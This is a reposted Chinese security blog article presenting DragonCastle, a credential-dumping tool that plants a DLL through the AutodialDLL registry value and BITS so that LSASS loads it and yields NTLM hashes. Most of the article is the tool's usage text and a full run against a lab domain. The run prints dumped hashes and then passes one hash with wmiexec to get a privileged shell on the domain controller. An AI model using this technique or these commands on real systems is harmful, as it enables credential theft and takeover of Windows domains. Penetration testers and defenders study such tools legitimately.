从 LSASS 进程中抓取 NTLM 哈希

admin
admin
admin
101093
文章
87
评论
2023年2月7日12:19:27评论50 views字数 4960阅读16分32秒阅读模式

描述

        将 DLL 上传到目标机器。然后它使远程注册表能够修改 AutodialDLL 条目并启动/重新启动 BITS 服务。Svchosts 将加载我们的 DLL，再次将 AutodiaDLL 设置为默认值并执行 RPC 请求以强制 LSASS 加载与安全支持提供程序相同的 DLL。一旦 DLL 被 LSASS 加载，它将在进程内存中搜索以提取 NTLM 哈希和密钥/IV。

DLLMain 总是返回False，因此进程不会保留它。

        它仅在RunAsPPL未启用时有效。此外，我只是添加了对解密 3DES 的支持，因为我很懒，但是添加 AES 代码应该很容易。出于同样的原因，我只实现了对下一个 Windows 版本的支持：

从 LSASS 进程中抓取 NTLM 哈希

        签名/偏移量/结构取自 Mimikatz。如果你想添加一个新版本，只需检查 Mimikatz 上的 sekurlsa 功能。


用法

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                                DragonCastle - @TheXC3LL

usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]
DragonCastle - A credential dumper (@TheXC3LL)
optional arguments:  -h, --help            show this help message and exit  -u USERNAME, --username USERNAME                        valid username  -p PASSWORD, --password PASSWORD                        valid password (if omitted, it will be asked unless -no-pass)  -d DOMAIN, --domain DOMAIN                        valid domain name  -hashes [LMHASH]:NTHASH                        NT/LM hashes (LM hash can be empty)  -no-pass              don't ask for password (useful for -k)  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter  -target-ip ip address                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it  -local-dll dll to plant                        DLL location (local) that will be planted on target  -remote-dll dll location                        Path used to update AutodialDLL registry value

Windows 服务器192.168.56.20和域控制器192.168.56.10：

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:dump.dll" -local-dll DragonCastle.dll                              DragonCastle - @TheXC3LL

[+] Connecting to 192.168.56.20[+] Uploading DragonCastle.dll to c:dump.dll[+] Checking Remote Registry service status...[+] Service is down![+] Starting Remote Registry service...[+] Connecting to 192.168.56.20[+] Updating AutodialDLL value[+] Stopping Remote Registry Service[+] Checking BITS service status...[+] Service is down![+] Starting BITS service[+] Downloading creds[+] Deleting credential file[+] Parsing creds:
    ============----User: vagrantDomain: WINTERFELL----User: vagrantDomain: WINTERFELL----User: eddard.starkDomain: SEVENKINGDOMSNTLM: d977b98c6c9282c5c478be1d97b237b8----User: eddard.starkDomain: SEVENKINGDOMSNTLM: d977b98c6c9282c5c478be1d97b237b8----User: vagrantDomain: WINTERFELLNTLM: e02bc503339d51f71d913c245d35b50b----User: DWM-1Domain: Window ManagerNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: DWM-1Domain: Window ManagerNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: WINTERFELL$Domain: SEVENKINGDOMSNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: UMFD-0Domain: Font Driver HostNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: Domain: NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: Domain: 
    ============[+] Deleting DLL
[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:>whoamisevenkingdomseddard.stark
C:>whoami /priv
PRIVILEGES INFORMATION----------------------
Privilege Name                            Description                                                        State  ========================================= ================================================================== =======SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 EnabledSeMachineAccountPrivilege                 Add workstations to domain                                         EnabledSeSecurityPrivilege                       Manage auditing and security log                                   EnabledSeTakeOwnershipPrivilege                  Take ownership of files or other objects                           EnabledSeLoadDriverPrivilege                     Load and unload device drivers                                     EnabledSeSystemProfilePrivilege                  Profile system performance                                         EnabledSeSystemtimePrivilege                     Change the system time                                             EnabledSeProfileSingleProcessPrivilege           Profile single process                                             EnabledSeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       EnabledSeCreatePagefilePrivilege                 Create a pagefile                                                  EnabledSeBackupPrivilege                         Back up files and directories                                      EnabledSeRestorePrivilege                        Restore files and directories                                      EnabledSeShutdownPrivilege                       Shut down the system                                               EnabledSeDebugPrivilege                          Debug programs                                                     EnabledSeSystemEnvironmentPrivilege              Modify firmware environment values                                 EnabledSeChangeNotifyPrivilege                   Bypass traverse checking                                           EnabledSeRemoteShutdownPrivilege                 Force shutdown from a remote system                                EnabledSeUndockPrivilege                         Remove computer from docking station                               EnabledSeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     EnabledSeManageVolumePrivilege                   Perform volume maintenance tasks                                   EnabledSeImpersonatePrivilege                    Impersonate a client after authentication                          EnabledSeCreateGlobalPrivilege                   Create global objects                                              EnabledSeIncreaseWorkingSetPrivilege             Increase a process working set                                     EnabledSeTimeZonePrivilege                       Change the time zone                                               EnabledSeCreateSymbolicLinkPrivilege             Create symbolic links                                              EnabledSeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

原文始发于微信公众号（Khan安全攻防实验室）：从 LSASS 进程中抓取 NTLM 哈希

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月7日12:19:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   从 LSASS 进程中抓取 NTLM 哈希http://cn-sec.com/archives/1540644.html

发表评论

匿名网友 填写信息